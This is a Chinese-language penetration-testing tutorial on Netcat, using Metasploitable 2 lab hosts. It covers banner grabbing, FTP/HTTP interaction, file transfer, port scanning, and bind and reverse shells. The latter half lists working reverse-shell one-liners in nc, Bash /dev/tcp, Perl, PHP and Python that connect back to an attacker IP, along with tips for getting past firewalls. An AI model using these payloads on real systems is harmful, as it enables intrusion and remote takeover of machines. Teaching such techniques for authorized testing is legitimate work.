Necat 是一个伟大而实用的用于 TCP 和 UPD 网络连接协议的读写程序。同时 Necat 也被誉为网络中的瑞士军刀,在许多黑客教程中 Necat 也被广泛使用。Necat 最常见用途是设置反向连接和 bind shell ,管道和重定向网络流量,端口侦听,调试程序和脚本,抓取 banner 等作用。在本教程中,我们将学到以下内容:
5. Necat 端口扫描6. 绑定和反弹 shell
我们将使用运行Linux和通过一些可视化的几个虚拟机,来演示这些技术。
Banner 抓取 原始连接 和 Webserver 交互服务的 banner 信息通常被系统管理员,用于了解当前网络中的系统和运行的服务情况。服务的 banner 信息标识了正在运行的服务类型,还标识了服务的版本信息。banner 抓取是一种在开放端口上检索关于特定服务信息的技术,并且可以在渗透测试期间用于执行漏洞评估。当我们使用 Netcat 进行横幅抓取时,实际上会对指定端口上的指定主机进行原始连接。当被抓取的 banner 可用时,它会打印到控制台。下面让我们看看如何实现该项功能:
Netcat banner 抓取使用以下命令与目标服务建立原始连接,并抓取服务的 banner 信息:
nc [ip address][port]
让我们以 Metasploitable 2 下正运行在 21 端口下的 FTP 服务为例:
nc 192.168.100.100 21
从抓取的 banner 信息我们可以得知目前目标主机 21 端口上运行了 vsFTPD 服务,版本为 2.3.4 。
Netcat 原始连接为了更直观的演示原始连接的工作过程,我们将连接到 FTP 服务上,并发出一些 FTP 命令。让我们看看该 FTP 服务是否支持匿名操作访问,我们在 USER 和 PASS 下键入 anonymous ,可以看到登陆成功!
以上我演示了如何抓取 banner 以及 如何设置和使用原始数据连接的方法。在这个演示中,我们使用了一个FTP服务,其实除了 FTP 服务,该技术同样适用于其它服务,例如SMTP和HTTP服务等。
Web server 交互Netcat 也可用于我们发出 HTTP 请求时的 webserver 交互。使用以下命令我们可以抓取到正在 Metasploitable 2 上运行的 web 服务:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
HEAD / HTTP/1.0
我们可以看到 webserver 向我们响应了 服务端的一些基本信息,Apache/2.2.8 (Ubuntu) DAV/2 以及 PHP 版本等。
要在Web服务器上检索 webserver 的页面标题信息,我们可以发出以下命令:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
GET / HTTP/1.0
Netcat 文件传输
在本例中,我们将使用Netcat连接来传输文本文件。让我们假设我们在目标主机上可以执行远程命令,并且我们要将文件从攻击者的机器远程传输到受害者主机。首先,我们需要在目标主机上设置一个侦听,并从攻击者机器与它建立连接。我们将通过 8080 端口进行传输,并将文件存放在桌面:
nc -lvp 8080 > /root/Desktop/transfer.txt
此时我们在攻击者机器上输入以下命令与目标机器的 8080 端口建立连接,并传输一个名为 transfer.txt的文本文件:
nc 192.168.100.107 8080 < /root/Desktop/transfer.txt
接着我们 control + c 并在目标机器上 cat 我们传输的文本文件,可以看到我们的文本文件被成功传输到了目标主机上:
Necat 端口扫描其实 Necat 还可以实现端口的扫描功能:
nc -nvz 10.1.1.11 1-65535 TCP端口扫描
nc -nvzu 10.1.1.11 1-65535 UDP端口扫描
以上我们介绍的,都是 Necat 的一些基本使用操作。下面我们来学习下 Ncat 最受欢迎和被使用最多的功能:设置绑定 shell 和反弹 shell 。我们将了解 bind shell和 reverse shell之间的区别以及它们的基本使用。 Netcat 通常不存在于系统上,因为它可能被视为潜在的安全问题。在此情况下,我们将学习如何使用其他工具和编程语言,来代替 Netcat 一些功能,例如设置反向shell 的功能。我们会使用编程和脚本语言,如Python,PHP,Perl和Bash是很好的选择!我们将结束这个教程与如何使用绑定shell。
Netcat 反弹 shell
从渗透测试的角度来说, Necat 通常被用来建立 反弹和绑定 shell 。反弹 shell 通常用于目标有开启一些防护措施,例如防火墙的过滤或端口的转发等。通过这种方式我们可以一定程度上绕过防护机制,从而达到获取目标主机的 shell 的目的。而绑定 shell 则是在目标主机上绑定一个处于侦听状态的端口,用于攻击者对其进行固定的连接,从而获取 shell 。
下面我将使用 4444 端口来完成 反弹和绑定 shell 的演示操作。这里你们可以使用任意端口,并非要像我一样!不过在实际环境中,我们应该设置更常见的端口,例如 80 和 443 来设置 反弹 shell 。
Netcat 反弹 shell 的建立
首先让我们通过下图,来更加深入的了解下 Necat 反弹 shell 的工作机制原理:
我们来简单分析下以上图示,可以看到目标主机反弹连接了攻击者机器的,并使用 -e 参数像攻击者机器发送了 Bash shell 。如果在 windows 主机上,我们还可以发送 cmd.exe 的反弹 shell 。这样我们可以假设,如果我们在目标主机上发现了一个远程代码执行(RCE)漏洞。那么,我们就可以在目标主机上使用 -e 发出 Netcat 命令,并使用 Netcat 启动反弹 shell 发出命令!
Netcat 反弹 shell 演示为了成功建立一个 Netcat 的反弹 shell 我们需要以下几个步骤:
1.设置 Netcat 侦听。
2.从目标主机与侦听建立连接。
3.从目标主机发送命令到攻击者机器。
首先我们使用以下命令,在攻击者机器上设置一个在 4444 端口上的侦听程序:
nc –lvp 4444
接着,我们在目标主机上向攻击者机器发送指定命令(记住这里我们有远程代码执行权限在目标主机上):
如果是在 Linux 上,命令如下:
nc 192.168.100.113 4444 –e /bin/bash
如果是在 Windows 上,命令如下:
nc.exe 192.168.100.113 4444 –e cmd.exe
现在,我们在攻击者机器上就取得了一个目标主机的 bash shell, 并且我们可以完全控制目标主机在该反弹 shell 的 root 权限账户下。
可以看到,绿颜色的 console 窗口是目标主机的,下面的则是攻击者的机器。我们可以看到,这里已经取得了一个 root 操作权限,从攻击者 192.168.100.113 连接到目标主机 192.168.100.107 上。
脱离 Netcat 建立的反弹 shell
通过以上演示我们不难发现,想要成功获取目标主机的 shell ,目标主机则必须有 Necat 。但在实际环境中,并不会如我们所愿!因此,为了避免这种尴尬下面我们使用另一种方法,来替代 Necat 的作用。
Bash reverse shell
我们还可以使用以下 bash 命令来实现反弹 shell 的建立:
1
|
bash - i > & / dev / tcp / 192.1 68.1 00.1 13 / 4444 0 > & 1
|
可以看到,攻击者机器上的 Necat 同样获取到了目标主机的反弹 shell 。
Perl reverse shell
如果此时目标主机上用的是 Perl 语言,我们依然可以使用 Perl 来建立反弹 shell 。在目标主机上运行以下命令:
1
|
perl - e ‘use Socket;$i = ” 192.1 68.1 00.1 13 ″;$p = 4444 ;socket ( S , PF_INET , SOCK_STREAM , getprotobyname ( “tcp” ) ) ; if ( connect ( S , sockaddr_in ( $p , inet_aton ( $i ) ) ) ) { open ( STDIN , ” > & S” ) ; open ( STDOUT , ” > & S” ) ; open ( STDERR , ” > & S” ) ;exec ( “ / bin / sh - i” ) ; } ;’
|
PHP reverse shell
如果目标主机上用的是 PHP,这通常是Web服务器上的情况,它是Netcat,Perl 和 Bash 的一个很好的替代品。让我们使用以下命令,来实现 PHP 环境下的反弹 shell :
1
|
php - r ‘$sock = fsockopen ( “ 192.1 68.1 00.1 13 ” , 4444 ) ;exec ( “ / bin / sh - i < & 3 > & 3 2 > & 3 ” ) ;’
|
我们可以从以上代码中看到,它依然会返回一个 /bin/sh shell 。
Python reverse shell
Python也是Linux机器上常用的一种脚本语言。下面我们使用 Python 来建立反弹 shell :
1
|
python - c ‘import socket , subprocess , os;s = socket.socket ( socket.AF_INET , socket.SOCK_STREAM ) ;s.connect ( ( “ 192.1 68.1 00.1 13 ” , 4444 ) ) ;os.dup 2 ( s.fileno ( ) , 0 ) ; os.dup 2 ( s.fileno ( ) , 1 ) ; os.dup 2 ( s.fileno ( ) , 2 ) ;p = subprocess.call ( [“ / bin / sh” , ” - i”] ) ;’
|
Netcat bind shell
下面我们来看看绑定 shell 的原理图示:
从上图示我们可以看到,目标主机绑定了一个 bash shell 并侦听在 4444 端口上。攻击者通过一条简单的 Necat 命令,来与其建立连接。步骤如下:
1.使用 Necat 在 4444 端口绑定一个 bash shell 。
2.在攻击者机器上连接目标主机的 4444 端口。
3.发送指定命令到攻击者机器。
Netcat Bind shell 演示让我们看 console 控制台演示,如下:
可以看到目标主机绑定了一个 bash shell 在 4444 端口,攻击者则使用 Necat 获取到了目标主机的 root 权限的 shell 。
总结:通过以上的学习,我们已经学会了 Necat 一些基本的命令使用方法。重要的是,我们还掌握了一些可以替代 reverse shell 和 bind shell 的方法。这对我们今后,在真实环境下的渗透测试,提供了更多的方法及思路。因此,我们一定要熟练掌握和运用这些方法,只有这样我们的渗透才能更加高效和成功!